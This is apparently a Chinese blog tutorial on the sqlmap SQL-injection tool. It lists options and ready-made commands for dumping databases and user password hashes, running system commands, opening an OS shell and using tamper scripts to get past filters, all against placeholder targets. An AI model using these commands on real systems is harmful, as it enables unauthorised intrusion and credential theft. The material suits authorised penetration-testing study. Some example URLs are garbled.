SQL注入工具

SQLMAP简介

​ SQLMAP 是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。

下载地址:https://github.com/sqlmapproject/sqlmap/

官网地址:http://sqlmap.org/

​ 支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, MicrosoftAccess,IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

设置目标URL:

参数:-u /–url

最基本格式 sqlmap -u “http: //www. target.com/index. php?id=1”

参数:-m

从文本中获取多个目标扫描,但是每一行只能有一个url。

基本格式:sqlmap -m urllist. txt

参数:-r

从文件中加载HTTP请求,这样的话 就不需要在去设定cookie, POST数据……

基本格式: sqlmap -r 1.txt

设置回显等级:

参数:-v 默认为1:

  1. 只显示python错误以及严重的信息。
  2. 同时显示基本信息和警告信息。(默认等级)
  3. 同时显示debug信息。
  4. 同时显示注入的payload。
  5. 同时显示HTTP请求。
  6. 同时显示HTTP响应头。
  7. 同时显示HTTP响应页面。

设定探测等级:

参数: --level(sqlmap -r 情况下)

参数:–level (sqlmap -r 情况下)

共有五个等级,默认为1, sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload

level>=2的时候就会测试HTTP Cookie

level>=3的时候就会测试HTTP User-Agent/Referer头

level=5的时候会测试HTTP Host

基本格式:sqlmap -r 1.txt --level=3

设置HTTP数据包相关参数:

参数:–data

此参数是把data后面的数据以POST方式提交,当参数是POST提交的时候,但是你有没有抓取数据包,可以用URL+需要检查的参数。基本格式:sqlmap -u “http://www.target.com/vuln.php” --data=“id=1”

参数:–cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到–cookie参数中。基本格式:sqlmap -u “http://www.target.com/vuln.php” --data=“id=1” --cookie=“Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662;PHPSESSID=o64fbvo316lg59njufl2gfutm4;”

HTTP User-Agents

参数:–user-agent

默认情况下sqlmap的HTTP请求头中的User-Agent值是:sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org) 这个时候可以手动指定伪造一个User-Agent.

基本格式:sqlmap -u “http://www.target.com” --level 3 --user-agent=“aaaaaa”

参数:–random-agent

会从/usr/share/sqlmap/data/txt中随机产生User-Agent头。

基本格式:sqlmap -u “http://www.target.com” --level 3 --random-agent

sqlmap检查uesr-agent中的注入点,level>=3才会去检查user-agent头是否存在注入漏洞

HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer。当–level参数设定>=3时,会尝试进行referer注入。

基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” --referer=http://www.baidu.com --level=3

参数:–delay

可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。

参数:–timeout

可以设定一个http请求超过多少秒判定为超时,默认是30秒。

指定测试参数:

参数:-p

sqlmap默认会测试所有的GET和POST参数,当-level的值大于等于2的时候也 会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agents HTTP Referer头的值。

基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” -p “id,user-angent”

参数:–skip

在使用–level时,级别很大的时候,但是有些参数不能去测试,那么可以使用–skip参数跳过

基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” --skip"user-agent,referer"

设定探测风险等级:

参数:–risk

共有三个风险等级,1-3:

​ 默认是1会测试大部分的测试语句,

​ 2会增加基于时间的测试语句,

​ 3会增加OR语句的SQL注入测试。

注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。

基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” --risk=2

列数据:

–dbs(查看数据库), --users(查看所有用户), --passwords(查看所有用户密码)

–technique 指定使用哪种注入类型(B , E , U , T , S)

–current-db 当前数据库

–current-user 当前用户

–privileges 权限

-D database_name --tables 获取表

-D database_name -T table_name --columns 获取列

-D database name -T table name -C column_1,column_2 --dump 获取字段内容

使用shell命令:

参数:–os-shell 反弹交互shell

前提:需要网站的物理路径,其次是需要有对站点目录有FILE读写权限。

基本格式 : sqlmap -r “C:\sqlmap\request.txt” -p “id” --dbms mysql --os-shell

选择后端语言

接下来指定网站可写目录: 选择网站路径 : 2为自定义网站路径 d:/phpstudy/www

参数:–os-cmd=系统命令 执行系统命令

–batch 全自动

–start= 开始条数(导出数据时开始条数)

–stop= 结束条数(导出数据时结束条数)

–dump 导出数据

–dump-all 导出所有数据

–purge-output(–purge) 清空缓存目录

sqlmap-u"http://url/news?id=1" --current-user #获取当前用户名称

sqlmap-u"http://url/news?id=1" --current-db #获取当前数据库名称

sqlmap-u"http://url/news?id=1" --dbs #枚举所有数据库名

sqlmap-u"http://url/news?id=1" -D “db_name” --tables # 列出指定数据库的表名

sqlmap-u"http://url/news?id=1" -D “db_name” -T “tablename” --columns # 列列出指定数据库对应表的字段

sqlmap-u"http://url/news?id=1" -D “db_name” -T “table_name” -C “column_name” --dump #获取字段内容

sqlmap-u"http://url/news?id=1" --dbms “Mysql” --users #dbms指定数据库类型

sqlmap-u"http://url/news?id=1" --users #列数据库用户

sqlmap-u"http://url/news?id=1" --passwords #数据库用户密码

sqlmap-u"http://url/news?id=1" --sql-shell #执行指定sql命令

sqlmap-u"http://url/news?id=1" --os-cmd=whoami #执行系统命令

sqlmap-u"http://url/news?id=1" --os-shell #系统交互shell

sqlmap-u"http://url/news?id=1" --dbs -o “sqlmap.log” #保存进度

sqlmap-u"http://url/news?id=1" --dbs -o “sqlmap.log” --resume #恢复已保存进度

sqlmap-u"http://url/news?id=1" --tamper “base64encode.py” #加载脚本(可利用绕过注入限制)

SQLMAP基本注入流程

1.判断注入点和数据类型:

(1)sqlmap -u http://www.test.php?id=1 --GET方法注入

(2)sqlmap -r /etc/url.txt –-POST方法注入(使用Burpsuite等代理工具拦截POST请求内容, 将POST请求内容保存在一个文本文件中,此处为url.txt,并用sqlmap调用)

2.判断数据库名(dbs):sqlmap -u “http://www.test.php?id=1” --dbs

3.判断表名(tables):sqlmap -u “http://www.test.php?id=1” -D 数据库名 --tables

4.判断列名(columns):sqlmap -u “http://www.test.php?id=1” -D 数据库名 -T 表名 --column

5.获取字段:sqlmap -u “http://www.test.php?id=1” -D 数据库名 -T 表名 -C 列名 --dump

查看获取的数据文件:

windows:C:\Users\Administrator.sqlmap\output

Kali linux: /root/.sqlmap/output

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐